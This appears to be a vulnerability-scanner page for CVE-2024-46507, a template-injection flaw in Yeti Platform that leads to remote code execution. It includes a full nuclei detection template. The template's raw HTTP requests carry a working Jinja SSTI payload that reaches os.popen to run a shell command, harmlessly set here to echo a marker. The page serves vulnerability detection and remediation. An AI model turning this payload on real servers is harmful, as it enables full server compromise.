HexBrain

Browse / CVEs / CVE-2024-46507

CVE-2024-46507

Yeti Platform < 2.1.12 - Server-Side Template Injection to RCE

highseverity
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

The Yeti Platform < 2.1.12 contains a Server-Side Template Injection (SSTI) vulnerability that can lead to Remote Code Execution (RCE) when exploited by an authenticated user. Attackers with valid credentials can inject malicious template expressions, which the server evaluates, allowing arbitrary command execution.

Impact

Successful exploitation enables an attacker to execute arbitrary system commands, potentially leading to full server compromise.

Fix

Upgrade to Yeti Platform 2.1.12 or later to mitigate this vulnerability.

How to confirm it

Send: POST /api/v2/auth/token
Positive when: contains "access_token"
Send: POST /api/v2/templates/
Send: POST /api/v2/observables/extended
Send: POST /api/v2/templates/render
Positive when: contains(body, "CVE-2024-46507") and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-46507 -u <target>

The full check
id: CVE-2024-46507

info:
  name: Yeti Platform < 2.1.12 - Server-Side Template Injection to RCE
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Yeti Platform < 2.1.12 contains a Server-Side Template Injection (SSTI) vulnerability that can lead to Remote Code Execution (RCE) when exploited by an authenticated user. Attackers with valid credentials can inject malicious template expressions, which the server evaluates, allowing arbitrary command execution.
  impact: |
    Successful exploitation enables an attacker to execute arbitrary system commands, potentially leading to full server compromise.
  remediation: |
    Upgrade to Yeti Platform 2.1.12 or later to mitigate this vulnerability.
  reference:
    - https://rhinosecuritylabs.com/research/cve-2024-46507-yeti-server-side-template-injection-ssti/
  metadata:
    shodan-query: html:"Yeti</title>"
    verified: true
    max-request: 4
  tags: cve,cve2024,yeti,platform,ssti,rce,intrusive,vkev,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v2/auth/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryodI9qNm7xBZLCq9n

        ------WebKitFormBoundaryodI9qNm7xBZLCq9n
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundaryodI9qNm7xBZLCq9n
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundaryodI9qNm7xBZLCq9n--

    matchers:
      - type: word
        part: body
        words:
          - access_token
        internal: true

  - raw:
      - |
        POST /api/v2/templates/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"template":{"name":"AA","template":"value,tags\n{% for obj in data %}{{obj.value}},{{\";\".join(obj.tags.keys())}}\n{% endfor %}\n\n{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"echo Q1ZFLTIwMjQtNDY1MDcK | base64 -d\").read()}}{%endif%}{% endfor %}"}}

    skip-variables-check: true

    extractors:
      - type: json
        part: body
        name: template_id
        json:
          - '.id'
        internal: true

  - raw:
      - |
        POST /api/v2/observables/extended HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"observable":{"type":"ipv4","value":"1.{{randint(1,255)}}.{{randint(1,255)}}.{{randint(1,255)}}"}}

    extractors:
      - type: json
        part: body
        name: observable_id
        json:
          - '.id'
        internal: true

  - raw:
      - |
        POST /api/v2/templates/render HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"template_id":"{{template_id}}","observable_ids":["{{observable_id}}"],"search_query":""}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "CVE-2024-46507")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from